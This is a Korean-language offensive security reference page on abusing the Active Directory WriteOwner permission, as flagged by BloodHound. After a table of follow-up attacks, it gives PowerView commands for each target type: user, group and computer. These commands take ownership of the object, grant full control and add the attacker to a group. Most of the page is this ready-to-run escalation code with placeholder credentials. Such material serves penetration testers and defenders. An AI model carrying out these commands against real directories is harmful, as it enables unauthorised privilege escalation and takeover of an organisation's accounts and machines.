WriteOwner

객체에 대해 Modify owner 권한을 가졌다면 블러드하운드에서 WriteOwner로 표시되며 이것은 대상의소유권을 변경할 수 있는 권한입니다. 소유권이 변경된 이후 추가적인 공격 방식은 대상의 유형이 어떤 것이냐에 따라 달라집니다. 아래 표는 소유권 변경 이후 진행할 수 있는 공격에 대해 간단히 정리한 테이블입니다.

분류
권한 악용

User

소유권 변경 → GenericAll 권한 위임

Group

소유권 변경 → AddMembers 권한 위임

Computer

소유권 변경 → GenericAll 권한 위임

User

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

# user-B의 owner를 user-A로 변경
Set-DomainObjectOwner -Credential $Cred -SamAccountName "user-B" -OwnerIdentity "user-A"

# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'user-B' -Rights 'all' -PrincipalIdentity 'user-A'

Group

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

# 소유권 변경
Set-DomainObjectOwner -Credential $Cred -Identity 'local_member' -OwnerIdentity 'user-A'

# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local_member' -Rights 'all' -PrincipalIdentity 'user-A'

# 멤버 추가
Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred

Computer

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

# 소유권 변경
Set-DomainObjectOwner -Credential $Cred -Identity local-machine$ -OwnerIdentity user-A

# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local-machine$' -Rights 'all' -PrincipalIdentity 'user-A'

References

Last updated

Was this helpful?